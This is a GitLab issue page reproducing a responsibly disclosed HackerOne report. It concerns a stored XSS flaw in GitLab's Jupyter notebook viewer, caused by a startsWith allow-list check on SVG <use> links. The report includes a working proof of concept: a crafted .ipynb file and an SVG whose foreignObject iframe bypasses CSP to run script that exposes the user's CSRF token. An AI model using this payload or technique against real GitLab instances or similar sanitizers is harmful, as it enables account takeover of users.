Skip to content

XSS using <use xlink:href> in Jupyter notebooks

HackerOne report #1347600 by saleemrashid on 2021-09-22, assigned to GitLab Team:

Report | How To Reproduce

Report

Summary

When the blob viewer renders text/html outputs in .ipynb files, it uses the v-safe-html directive (https://gitlab.com/gitlab-org/gitlab-ui/-/blob/main/src/directives/safe_html/safe_html.md) to sanitize the HTML.

To support SVG icons, the use tag is allowed https://gitlab.com/gitlab-org/gitlab/-/blob/v14.3.0-ee/app/assets/javascripts/notebook/cells/output/html.vue#L32

  safeHtmlConfig: {  
    ADD_TAGS: ['use'], // to support icon SVGs  
  },  

An afterSanitizeAttributes DOMPurify hook is used to check the href and xlink:href attributes https://gitlab.com/gitlab-org/gitlab/-/blob/v14.3.0-ee/app/assets/javascripts/lib/dompurify.js#L12-19

// Only icons urls from `gon` are allowed  
const getAllowedIconUrls = (gon = window.gon) =>  
  [gon.sprite_file_icons, gon.sprite_icons].filter(Boolean);

const isUrlAllowed = (url) => getAllowedIconUrls().some((allowedUrl) => url.startsWith(allowedUrl));

const isHrefSafe = (url) =>  
  isUrlAllowed(url) || isUrlAllowed(relativePathToAbsolute(url, getBaseURL())) || url.match(/^#/);  

However, because isUrlAllowed uses startsWith, we can do a path traversal attack and link to a different SVG file. For example, [REDACTED].

We can then put a <foreignObject> element in the SVG to include HTML elements that DOMPurify would have removed. However, this seems to work in Firefox only. In Chrome, the <foreignObject> element is absent from the shadow DOM.

The referenced SVG is still subject to CSP, so I will use the same Lodash template strategy as https://hackerone.com/reports/1345589 to bypass it and achieve XSS.

Steps to reproduce
  1. Create a repository with two files

jupyter.ipynb. Replace [REDACTED] with your repository's name

{
  "nbformat": 4,  
  "nbformat_minor": 0,  
  "metadata": {},  
  "cells": [  
    {  
      "cell_type": "code",  
      "source": [  
        "Hello, World!"  
      ],  
      "outputs": [  
        {  
          "data": {  
            "text/html": "<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><use xlink:href=\"/assets/icons-319de3b47bd085e8b73de84bed6ed3eb7fb318aadf14d14ff781ba9a32129b45.svg/../../[REDACTED]#main\" /></svg>"  
          }  
        }  
      ]  
    }  
  ]  
}

jupyter.svg

<?xml version="1.0"?>  
<svg xmlns="http://www.w3.org/2000/svg">  
  <defs>  
    <g id="main">  
      <foreignObject>  
        <iframe xmlns="http://www.w3.org/1999/xhtml" srcdoc="&lt;base href=https://assets.gitlab-static.net/assets/webpack/&gt;&lt;form id=gon&gt;&lt;input name=u2f&gt;&lt;/form&gt;&lt;br id=js-register-token-2fa&gt;&lt;p id=js-register-token-2fa-setup&gt;${alert(parent.document.querySelector('meta[name=csrf-token]').outerHTML)}&lt;/p&gt;&lt;script src=runtime.a6eee683.bundle.js&gt;&lt;/script&gt;&lt;script src=main.40ed7f48.chunk.js&gt;&lt;/script&gt;&lt;script src=commons-globalSearch-pages.admin.abuse_reports-pages.admin.application_settings.ci_cd-pages.admin.gr-f196c612.69ea2ffd.chunk.js&gt;&lt;/script&gt;&lt;script src=commons-pages.admin.sessions-pages.groups.omniauth_callbacks-pages.ldap.omniauth_callbacks-pages.omn-c3aaf8c4.5768d554.chunk.js&gt;&lt;/script&gt;&lt;script src=commons-pages.profiles-pages.profiles.accounts.show-pages.profiles.billings-pages.profiles.keys-page-6145ef8e.b9c7e4f8.chunk.js&gt;&lt;/script&gt;&lt;script src=commons-pages.profiles.accounts.show-pages.profiles.two_factor_auths.170fd497.chunk.js&gt;&lt;/script&gt;&lt;script src=pages.profiles.two_factor_auths.01996eaa.chunk.js&gt;&lt;/script&gt;"></iframe>  
      </foreignObject>  
    </g>  
  </defs>  
</svg>  
  1. Use Firefox to view jupyter.ipynb in GitLab. A pop-up dialogue shows the user's CSRF token as a demonstration. However, any JavaScript could be executed instead.
Impact

In Firefox, JavaScript execution as the authenticated user allows account takeover without the user having to interact with the page. In Chrome, an unsanitized SVG file can be referenced but it does not seem to allow JavaScript execution.

Examples

Private project on GitLab.com [REDACTED]

What is the current bug behavior?

<use> element can reference SVG files that they shouldn't be able to. In Firefox, this allows to include HTML elements that shouldn't be allowed, using a <foreignObject> element in the referenced SVG.

What is the expected correct behavior?

<use> elements should only be allowed to reference allow-listed icon files, or sanitized SVG files.

Output of checks

This bug happens on GitLab.com

Impact

In Firefox, JavaScript execution as the authenticated user allows account takeover without the user having to interact with the page. In Chrome, an unsanitized SVG file can be referenced but it does not seem to allow JavaScript execution.

How To Reproduce

Please add reproducibility information to this section:

Edited by Nikhil George